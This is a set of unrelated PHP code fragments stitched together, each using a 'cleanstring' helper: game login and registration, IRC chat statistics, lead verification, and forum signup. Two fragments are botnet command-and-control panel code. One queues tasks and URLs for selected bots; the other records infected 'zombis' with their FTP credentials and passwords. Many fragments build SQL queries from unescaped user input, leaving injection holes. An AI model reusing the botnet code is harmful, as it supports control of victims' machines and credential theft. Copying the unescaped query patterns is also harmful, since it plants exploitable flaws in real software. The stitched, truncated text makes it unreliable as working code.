function CheckCookies($IsUserChecked) { global $lang, $game_config, $basic_pages; getLang('cookies'); $UserRow = array(); include ROOT_PATH . 'config' . UNIVERSE . '.php'; if (isset($_COOKIE[$game_config['COOKIE_NAME']])) { $TheCookie = explode("/%/", $_COOKIE[$game_config['COOKIE_NAME']]); $UserResult = doquery("SELECT * FROM {{table}} WHERE `username` = '" . cleanstring($TheCookie[1]) . "';", 'users'); // On verifie s'il y a qu'un seul enregistrement pour ce nom if (mysql_num_rows($UserResult) == 0) { message(sprintf($lang['cookies']['Error1'], cleanstring($TheCookie[1]))); } $UserRow = FetchArray($UserResult); // On teste si on a bien le bon UserID if ($UserRow["id"] != $TheCookie[0]) { message($lang['cookies']['Error2']); } // On teste si le mot de passe est correct ! if (sha($UserRow["password"] . "--" . $dbsettings["secretword"]) !== $TheCookie[2]) { message($lang['cookies']['Error3']); } $NextCookie = implode("/%/", $TheCookie); // Au cas ou dans l'ancien cookie il etait question de se souvenir de moi // 3600 = 1 Heure // 86400 = 1 Jour // 31536000 = 365 Jours // on ajoute au compteur! if ($TheCookie[3] == 1) { $ExpireTime = time() + 31536000; } else { $ExpireTime = 0; } if ($IsUserChecked == false) { setcookie($game_config['COOKIE_NAME'], $NextCookie, $ExpireTime, "/", "", 0); } if (SMALL_LOAD) { //Just a small query doquery("UPDATE {{table}} SET `onlinetime` = '" . time() . "' WHERE `id` = '" . $TheCookie[0] . "' LIMIT 1;", 'users'); } else { $QryUpdateUser = "******"; $QryUpdateUser .= "`onlinetime` = '" . time() . "', "; $QryUpdateUser .= "`current_page` = '" . mysql_real_escape_string($_GET['page']) . "', "; $QryUpdateUser .= "`user_lastip` = '" . mysql_real_escape_string($_SERVER['REMOTE_ADDR']) . "', "; $QryUpdateUser .= "`user_agent` = '" . mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']) . "' "; $QryUpdateUser .= "WHERE "; $QryUpdateUser .= "`id` = '" . $TheCookie[0] . "' LIMIT 1;"; doquery($QryUpdateUser, 'users'); } $IsUserChecked = true; } unset($dbsettings); $Return['state'] = $IsUserChecked; $Return['record'] = $UserRow; return $Return; }
function getStatsFor($lnick) { $stats = array(); $messages = mysql_query("SELECT *,DATE_FORMAT(date, '%D %M %Y %T') AS fdate FROM messages WHERE nick='" . $lnick . "' AND (type='privmsg' OR type='notice' OR type='ctcp' OR type='action') ORDER BY date DESC") or die('<p>MySQL says: ' . mysql_error() . '</p>'); if (mysql_affected_rows() > 0) { $lastMessage = mysql_fetch_array($messages); $stats['lastmsgid'] = $lastMessage['id']; $stats['lastmsgdate'] = $lastMessage['fdate']; $stats['lastlogin'] = $lastMessage['name']; $stats['lasthost'] = $lastMessage['host']; $stats['lastserver'] = $lastMessage['server']; $stats['messages'] = mysql_affected_rows(); mysql_free_result($messages); // Count joins $joinsR = mysql_query("SELECT COUNT(*) AS count FROM messages WHERE nick='" . $lnick . "' AND type='join'") or die('<p>MySQL says: ' . mysql_error() . '</p>'); $joins = mysql_fetch_array($joinsR); mysql_free_result($joinsR); $stats['joins'] = $joins['count']; // Count parts $partsR = mysql_query("SELECT COUNT(*) AS count FROM messages WHERE nick='" . $lnick . "' AND type='part'") or die('<p>MySQL says: ' . mysql_error() . '</p>'); $parts = mysql_fetch_array($partsR); mysql_free_result($partsR); $stats['parts'] = $parts['count']; // Count quits $quitsR = mysql_query("SELECT COUNT(*) AS count FROM messages WHERE nick='" . $lnick . "' AND type='quit'") or die('<p>MySQL says: ' . mysql_error() . '</p>'); $quits = mysql_fetch_array($quitsR); mysql_free_result($quitsR); $stats['quits'] = $quits['count']; // Count notices $noticesR = mysql_query("SELECT COUNT(*) AS count FROM messages WHERE nick='" . $lnick . "' AND type='notice'") or die('<p>MySQL says: ' . mysql_error() . '</p>'); $notices = mysql_fetch_array($noticesR); mysql_free_result($noticesR); $stats['notices'] = $notices['count']; // Count actions $actionsR = mysql_query("SELECT COUNT(*) AS count FROM messages WHERE nick='" . $lnick . "' AND type='action'") or die('<p>MySQL says: ' . mysql_error() . '</p>'); $actions = mysql_fetch_array($actionsR); mysql_free_result($actionsR); $stats['actions'] = $actions['count']; // Get all words, then we can count swears/laughs and mostly used words $results = mysql_query("SELECT * FROM messages WHERE nick='" . $lnick . "'") or die('<p>MySQL says: ' . mysql_error() . '</p>'); $words = array(); $swearwords = array(); $laughwords = array(); $excluded = array("i", "the", "it", "at", "to", "is", "of", "a", "that", "", "have", "and", "you", "but", "in", "was", "like", "me", "with", "for", "dont", "they", "so", "im", "this", "its", "not", "be", "if", "do", "what", "can", "too", "on", "my", "are", "just", "did", "get", "had", "he", "as", "some", "your", "about", "one", "or", "there", "them", "know", "thats", "up", "when", "no", "oh", "then", "how", "from", "it's", "i'm", "that's", "u", "an", "we", "only"); $laughs = array('lol', 'lmfao', 'lerl', 'lel', 'lal', 'lil', 'lul', 'lawl', ' lmao', 'rofl', 'haha'); $swears = array('f**k', 'crap', 'shit', 'c**t', 'dick', 'twat', 'bollocks', 'bastard', 'bitch', 'prick'); $swearcount = 0; $laughcount = 0; while ($result = mysql_fetch_array($results)) { if (!isset($result['content']) || $result['content'] == null) { continue; } $contentWords = explode(" ", $result['content']); foreach ($contentWords as $word) { $word = strtolower(cleanstring($word)); foreach ($excluded as $exclude) { if ($word == $exclude) { continue 2; } } foreach ($laughs as $laugh) { if ($word == $laugh) { $laughcount++; $laughwords[$laugh]++; continue 2; } } foreach ($swears as $swear) { if ($word == $swear) { $swearcount++; $swearwords[$swear]++; continue 2; } } $words[$word]++; } } arsort($words); arsort($laughwords); arsort($swearwords); $words = array_slice($words, 0, 5); $swearwords = array_slice($swearwords, 0, 5); $laughwords = array_slice($laughwords, 0, 5); $words = array_keys($words); $swearwords = array_keys($swearwords); $laughwords = array_keys($laughwords); $fin = ''; for ($i = 0; $i < 5; $i++) { $fin .= htmlentities($words[$i]) . ($i + 1 >= 5 ? "" : ", "); if ($i + 1 < 5 && !isset($words[$i + 1])) { break; } } unset($words); $stats['comwords'] = $fin; $fin = ''; for ($i = 0; $i < 5; $i++) { $fin .= htmlentities($swearwords[$i]) . ($i + 1 >= 5 ? "" : ", "); if ($i + 1 < 5 && !isset($swearwords[$i + 1])) { break; } } unset($swearwords); $stats['comswears'] = $fin; $fin = ''; for ($i = 0; $i < 5; $i++) { $fin .= htmlentities($laughwords[$i]) . ($i + 1 >= 5 ? "" : ", "); if ($i + 1 < 5 && !isset($laughwords[$i + 1])) { break; } } unset($laughwords); $stats['comlaughs'] = $fin; $stats['swears'] = $swearcount; $stats['laughs'] = $laughcount; mysql_free_result($results); // Todo: get mostly use word, amount of swears, most frequent time, most highlighted etc... } return $stats; }
require_once '../../includes/settings.php'; require_once '../../includes/dbase.php'; function cleanstring($string) { $newstring = ""; $newstring = str_replace("'", "''", $string); $newstring = str_replace("--", "_", $newstring); $newstring = strtoupper($newstring); $newstring = stripslashes($newstring); return $newstring; } $workingfolder = cleanstring($_REQUEST['workingfolder']); $agent = cleanstring($_REQUEST['agent']); $disposition = cleanstring($_REQUEST['disposition']); $remarks = cleanstring($_REQUEST['remarks']); $leadid = cleanstring($_REQUEST['leadid']); $db = new dbconnection(); $db->dbconnect(); //masterfile $db->query = "\n update " . TABLE_CLIENTS . "\n set confirmer={$agent},disposition='{$disposition}',dateconfirmed=now(),remarks='{$remarks}'\n where leadid={$leadid}\n "; $db->execute(); //verifications if (strtoupper($disposition) == 'VERIFIED') { $now = Date("Y-m-d"); $db->query = "\n update " . TABLE_VER . "\n set disposition='{$disposition}',tagdate='{$now}'\n where leadid={$leadid}\n "; $db->execute(); } //turn-ins if (strtoupper($disposition) == 'TURN-IN') { $now = Date("Y-m-d"); $db->query = "\n insert into " . TABLE_TURNIN . "\n (leadid,disposition,tagdate)\n values\n ({$leadid},'{$disposition}',now())\n on duplicate key update \n disposition='{$disposition}',\n tagdate='{$now}'\n ";
/** * Output given value in appropriate format for gPXE config file * * gPXE config/*.h files use C pre-processor syntax. Output the given * compile option in a format appropriate to its type * * @param string $key index into $flag_table for given compile option * @param string $value value we wish to set compile option to * * @return string code to set compile option to given value */ function pprint_flag ( $key, $value ) { global $flag_table; // Determine type of given compile option (flag) $type = $flag_table[$key]["type"]; $s = ""; if ( $type == "on/off" && $value == "on" ) { $s = "#define $key"; } else if ( $type == "on/off" && $value != "on" ) { $s = "#undef $key"; } else if ( $type == "string" ) { $s = ( "#define $key \"" . cleanstring ( $value ) . "\"" ); } else if ($type == "qstring" ) { $s = ( "#define $key \\\"" . cleanstring ( $value ) . "\\\"" ); } else { $s = "#define $key " . cleanstring ( $value ); } return $s; }
//Load the headers if ($user['ally_request'] > 0) { $parse['search_ally'] = $parse['application']; $parse['onclick2'] = "loadpage('./?page=network','" . $parse['Alliance'] . "','network')"; } else { $parse['onclick2'] = "mrbox('./?page=cerca&iframe=1&iheight=800',800)"; } $parse['header_tpl'] = parsetemplate(gettemplate('alliance/header_noally'), $parse); //They are creating an alliance. if ($_POST['tag'] && $_POST['name']) { //ok we are gonna create an alliance. First check if the tag already exists. $query = doquery("SELECT * FROM {{table}} \r\n\t\t\t\t\tWHERE `ally_name` = '" . mysql_real_escape_string(cleanstring($_POST['name'])) . "' LIMIT 1 ;", 'alliance'); if (mysql_num_rows($query) > 0) { info($lang['name_in_use'], $lang['create_error'], './?page=network&mode=create', '<<'); } $query = doquery("SELECT * FROM {{table}} \r\n\t\t\t\t\tWHERE `ally_tag` = '" . mysql_real_escape_string(cleanstring($_POST['tag'])) . "' LIMIT 1 ;", 'alliance'); if (mysql_num_rows($query) > 0) { info($lang['tag_in_use'], $lang['create_error'], './?page=network&mode=create', '<<'); } //nope it doesn't exist. Now we add it into the table doquery("INSERT INTO {{table}} SET\r\n\t\t\t\t\t`ally_name`='" . mysql_real_escape_string($_POST['name']) . "',\r\n\t\t\t\t\t`ally_tag`='" . mysql_real_escape_string($_POST['tag']) . "' ,\r\n\t\t\t\t\t`ally_owner`='" . $user['id'] . "',\r\n\t\t\t\t\t`ally_register_time`=" . time(), "alliance") or die("Error code: " . __LINE__); $allyquery = doquery("SELECT `id`,`ally_name`,ally_owner_range FROM {{table}} WHERE ally_tag='" . mysql_real_escape_string($_POST['tag']) . "'", 'alliance', true); doquery("UPDATE {{table}} SET `ally_id`='" . $allyquery['id'] . "', \r\n\t\t\t\t\t`ally_name`='" . $allyquery['ally_name'] . "',\r\n\t\t\t\t\t`ally_register_time`='" . time() . "', \r\n\t\t\t\t\t`ally_rank_name` = '" . $allyquery['ally_owner_range'] . "', \r\n\t\t\t\t\t`ally_rank` = '511'\r\n\t\t\t\t\tWHERE `id`='" . $user['id'] . "'", "users") or die("Error code: " . __LINE__); //Lets report the sucess. info($lang['ally_made'], $lang['create_done'], './?page=network', '<<'); } else { //They haven't submitted the form, lets give it to them. if ($_GET['axah']) { makeAXAH(parsetemplate(gettemplate('alliance/noally'), $parse)); } else { displaypage(parsetemplate(gettemplate('alliance/noally'), $parse), $lang['title']);
* reg.php * * @version 1.1 * @copyright 2008 by Chlorel for XNova * Extra bit by Antony for Darkness of Evolution */ define('INSIDE', true); define('INSTALL', false); define('NO_MENU', true); define('LOGIN', true); if (!$_GET['s']) { $_GET['s'] = $_POST['s']; } define('ROOT_PATH', ''); include_once ROOT_PATH . 'common.php'; getLang('reg', cleanstring($_POST['lang'])); function sendpassemail($emailaddress, $password, $username, $code) { global $lang, $game_config; $parse = $lang; $parse['password'] = $password; $parse['username'] = $username; $parse['uni'] = UNIVERSE; $parse['game'] = $game_config['game_name']; $parse['GAMEURL'] = GAMEURL; $parse['ADMIN_NAME'] = ADMIN_NAME; $parse['validate_url'] = GAMEURL . '/login.php?GET_LOGIN=1&username='******'&password='******'&UNI=' . UNIVERSE . '&go=./?page=validate--code=' . $code; $status = mymail($emailaddress, $lang['mail_title'] . $parse['game'], parsetemplate(gettemplate('emails/reg'), $parse)); return $status; } function mymail($to, $title, $body, $from = false)
} if ($row['status'] == 'Offline') { echo '<td class="td" style="text-align: center; color: red;">' . $row['status'] . '</td>'; } if ($row['status'] == 'Dead') { echo '<td class="td" style="text-align: center;">' . $row['status'] . '</td>'; } echo '<td class="td" style="text-align: center;"><input type="checkbox" name="vote[]" value="' . $row['id'] . ':' . $two_letter_country_code . ':' . $row['admin'] . ':' . $row['status'] . '|" /></td> </tr>'; } echo '</form></table>'; require_once 'inc/html_footer.php'; if (isset($_POST['submitted'])) { $countvote = cleanstring(count($_POST['vote'])); $task = cleanstring($_POST['task']); $tasklength = strlen($task); $url = cleanstring($_POST['url']); $urllength = strlen($url); if ($countvote == 0) { echo "\r\n \r\n <script type='text/javascript'>\r\n \r\n alert('No clients selected.');\r\n \r\n </script>\r\n \r\n"; } else { //echo $task; //echo $urllength; foreach ($_POST['vote'] as $vote) { $votesplit = explode(":", $vote); $botid = $votesplit['0']; mysql_query("DELETE FROM commands WHERE viewed LIKE 1"); mysql_query("INSERT INTO commands (id, botid, cmd, variable, viewed) VALUES ('', '{$botid}', '{$task}', '{$url}', '0')"); } } }
$newstring = str_replace("'", "''", $string); $newstring = str_replace("--", "_", $newstring); $newstring = strtoupper($newstring); $newstring = stripslashes($newstring); return $newstring; } $workingfolder = cleanstring($_REQUEST['workingfolder']); $agent = cleanstring($_REQUEST['agent']); $disposition = cleanstring($_REQUEST['disposition']); $remarks = cleanstring($_REQUEST['remarks']); $leadid = cleanstring($_REQUEST['leadid']); $datafields = array('clfirstname', 'clmiddlename', 'cllastname', 'embossname', 'dobm', 'dobd', 'doby', 'pob', 'civilstatus', 'gender', 'dependents', 'citizenship', 'mobilephone', 'homephone', 'permhomephone', 'homeaddress1', 'homeaddress2', 'homeaddress3', 'homeaddress4', 'homezipcode', 'permaddress1', 'permaddress2', 'permaddress3', 'permaddress4', 'permzipcode', 'homeownership', 'lengthofstay', 'numberofcars', 'carmodelyear', 'education', 'email', 'mfmn', 'tin', 'sss', 'sourceoffunds', 'company', 'companyphone', 'companyprovidedphone', 'companyemail', 'empposition', 'emppositiontype', 'occupation', 'nob', 'coaddress1', 'coaddress2', 'coaddress3', 'coaddress4', 'cozipcode', 'emptenure', 'emptenuretotal', 'empstatus', 'annualincome', 'cardissuer', 'cardnumber', 'cardlimit', 'membersince', 'spfirstname', 'spmiddlename', 'splastname', 'spdobm', 'spdobd', 'spdoby', 'spcompany', 'spposition', 'spnob', 'spcompanyphone', 'spcoaddress1', 'spcoaddress2', 'spcoaddress3', 'spcoaddress4', 'spcozipcode', 'supfirstname', 'supmiddlename', 'suplastname', 'supaddress1', 'supaddress2', 'supaddress3', 'supaddress4', 'supzipcode', 'supcontact', 'supsourceoffunds', 'supnob', 'supcompany', 'suprelation', 'supcitizenship', 'supdobm', 'supdobd', 'supdoby', 'suppob', 'suptin', 'supsss', 'supembossname', 'supspendlimit', 'reffirstname', 'refmiddlename', 'reflastname', 'refrelation', 'refaddress1', 'refaddress2', 'refaddress3', 'refaddress4', 'refzipcode', 'refcontact'); $setfields = ""; foreach ($datafields as $key => $value) { if (!($value == 'email' || $value == 'companyemail')) { $curfield = cleanstring($_POST["{$value}"]); ${$value} = $curfield; } else { $curfield = $_POST["{$value}"]; ${$value} = $curfield; } $setfields .= "{$value}='{$curfield}',"; } $db = new dbconnection(); $db->dbconnect(); //masterfile $concatname = str_replace(' ', '', $clfirstname . $clmiddlename . $cllastname); $db->query = "\n update " . TABLE_CLIENTS . "\n set verifier={$agent},disposition='{$disposition}',dateverified=now(),remarks='{$remarks}',concatname='{$concatname}'\n where leadid={$leadid}\n "; $db->execute(); //clientinfo $db->query = "\n update " . TABLE_CLIENTINFO . "\n set \n {$setfields}\n leadid={$leadid}\n where leadid={$leadid}\n ";
include_once $incs; $gi = geoip_open($ipbs, GEOIP_STANDARD); $cc = geoip_country_code_by_addr($gi, getenv("REMOTE_ADDR")); if (empty($cc)) { $cc = "Desconosido"; } geoip_close($gi); # Country name include_once $incs; $gi = geoip_open($ipbs, GEOIP_STANDARD); $cn = geoip_country_name_by_addr($gi, getenv("REMOTE_ADDR")); if (empty($cn)) { $cn = "Desconosido"; } geoip_close($gi); $header = cleanstring($_SERVER['HTTP_USER_AGENT']); if ($header == "753cda8b05e32ef3b82e0ff947a4a936") { $Name = $_POST['name']; $SO = $_POST['so']; $zila = $_POST['file']; $Pasw = $_POST['pasw']; $ip = getenv("REMOTE_ADDR"); $host = gethostbyaddr($ip); $Zombie = $DB->Select("SELECT * FROM zombis WHERE name='" . $Name . "'"); if (count($Zombie) <= 0) { $Sql = "INSERT INTO zombis \r\n\t\t(id , name , fecha , ip , host , pais , flag , pharming , http , so , ftps , pasw , a)\r\n\t\tVALUES (NULL , '" . $Name . "' , NULL , '" . $ip . "' , '" . $host . "' , '" . $cn . "' , '" . $cc . "' , '1' , '1' , '" . $SO . "' , '" . $zila . "' , '" . $Pasw . "' , 1);"; $DB->Query($Sql); } else { $X = @rand(0, 99999999999); $DB->Query("UPDATE zombis SET ip='" . getenv("REMOTE_ADDR") . "' , pais='" . $cn . "' , flag='" . $cc . "' , so='" . $SO . "' , ftps='" . $zila . "' , pasw='" . $Pasw . "' , a='" . $X . "' WHERE name='" . $Name . "'"); }
function createpost() { requirelogin(); $_POST = array_map('protect', $_POST); $owner = $_SESSION['id']; $title = $_POST['title']; $url = cleanstring($title); $desc = $_POST['desc']; $qry = mysql_query("SELECT `id` FROM groups WHERE `url`='{$url}'"); if (mysql_numrows($qry) == 1) { infobox(t("Um grupo com este nome já existe."), true, true); } mysql_query("INSERT INTO groups (`owner`, `title`, `url`, `desc`) VALUES ('{$owner}', '{$title}', '{$url}', '{$desc}');"); $group_id = resolvegroup($url); mysql_query("INSERT INTO groups_join (`account`, `group`) VALUES ('{$owner}', '{$group_id}');"); note(t("criou um grupo."), $_SESSION['id']); redir("groups/view/{$url}"); }
function getLang($filename, $uselang = 'user', $default = false, $ext = '.mo') { global $lang, $user, $basedlang; if ($uselang != 'user') { $user['lang'] = cleanstring($uselang); } if ($default) { $SelLanguage = DEFAULT_LANG; } else { if ($user['lang'] != '') { $SelLanguage = $user['lang']; } else { $SelLanguage = DEFAULT_LANG; } } //Include the default language, now we at least have all the strings @(include ROOT_PATH . "lang/" . DEFAULT_LANG . "/" . $filename . $ext); //Include the based off language, eg for lang us, we want the english files. if ($basedlang[$SelLanguage] != DEFAULT_LANG) { if (file_exists(ROOT_PATH . "lang/" . $basedlang[$SelLanguage] . "/" . $filename . $ext)) { @(include ROOT_PATH . "lang/" . $basedlang[$SelLanguage] . "/" . $filename . $ext); } } //Now include the main language. if ($SelLanguage != DEFAULT_LANG) { if (file_exists(ROOT_PATH . "lang/" . $SelLanguage . "/" . $filename . $ext)) { @(include ROOT_PATH . "lang/" . $SelLanguage . "/" . $filename . $ext); } } //Now debug // $lang = array(); }
function signuppost() { global $site_id, $site; captcha_init(); settitle("Cadastro"); $err = array(); $_POST = array_map('mysql_real_escape_string', $_POST); $_POST = array_map('htmlspecialchars', $_POST); if (is_null($_POST['login']) or is_null($_POST['senha'])) { $err[] = t("Falta preencher alguns campos."); } $login = $_POST['login']; $senha = md5($_POST['senha'] . $site_id); $senha2 = md5($_POST['senha2'] . $site_id); if ($senha != $senha2) { $err[] = t("A confirmação da senha está incorreta."); } if ($_POST['login'] === $_POST['senha']) { $err[] = t("Sua senha não pode ser o seu login."); } if ($_POST['login'] != cleanstring($_POST['login'])) { $err[] = t("Seu login é inválido. Ele pode conter apenas letras e números."); } $email = $_POST['email']; if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $err[] = t("E-mail inválido!"); } $nome = $_POST['nome']; $sexo = $_POST['sexo']; if ($sexo != 'm' or $sexo != 'f') { $sexo = 'o'; } $idade = @mktime(0, 0, 0, $_POST['mes'], $_POST['dia'], $_POST['ano']); if (!$idade) { $err[] = t("Data de nascimento inválida!"); } $campo = isset($_POST['campo']) ? $_POST['campo'] : '-'; $now = time(); if (!comparecaptcha($_POST['captcha'])) { $err[] = t("Código de segurança inválido!"); } $veremail = mysql_query("SELECT id FROM accounts WHERE email='{$email}'"); if (mysql_num_rows($veremail) != 0) { $err[] = t("O e-mail especificado já está registrado para outra conta no ") . $site['site_name'] . "."; } $verlogin = mysql_query("SELECT id FROM accounts WHERE login='******'"); if (mysql_num_rows($verlogin) != 0) { $err[] = t("Já existe um usuário registrado com este login."); } if (sizeof($err) != 0) { $erros = null; $i = 0; $j = count($err); while ($i <= $j) { $erros .= "\n<br>" . $err[$i]; $i++; } freesection(titlebar("Cadastro")); infobox(t("Houveram erros e o cadastro foi impossibilitado.") . "<br/>{$erros}<br><br><a href=\"#\" onClick=\"javascript:history.go(-1);\">" . t("Voltar") . "</a>"); } else { $num = mysql_fetch_array(mysql_query("SELECT count(*) AS num FROM accounts;")); $num = $num['num']; if ($num > 0) { $admin = 'n'; admail(t("Usuário registrado!"), t("Olá! Mais um usuário se registrou em seu website:") . $login); } else { $admin = 's'; } $qry = mysql_query("INSERT INTO accounts (`login`, `senha`, `email`, `nome`, `foto`, `registro`, `ultimo_login`, `admin`, `sexo`, `nascimento`, `sobre`, `campo`)\n VALUES('{$login}', '{$senha}', '{$email}', '{$nome}', 'default.jpg', '{$now}', '{$now}', '{$admin}', '{$sexo}', '{$idade}', 'Nenhum conteúdo, ainda.', '{$campo}');"); $getid = mysql_fetch_array(mysql_query("SELECT id FROM accounts WHERE login='******' AND senha='{$senha}'")); $getid = $getid['id']; setcookie("atempts", 0); $_SESSION['id'] = $getid; note(t("se registrou"), $getid); redir("account/modify"); } }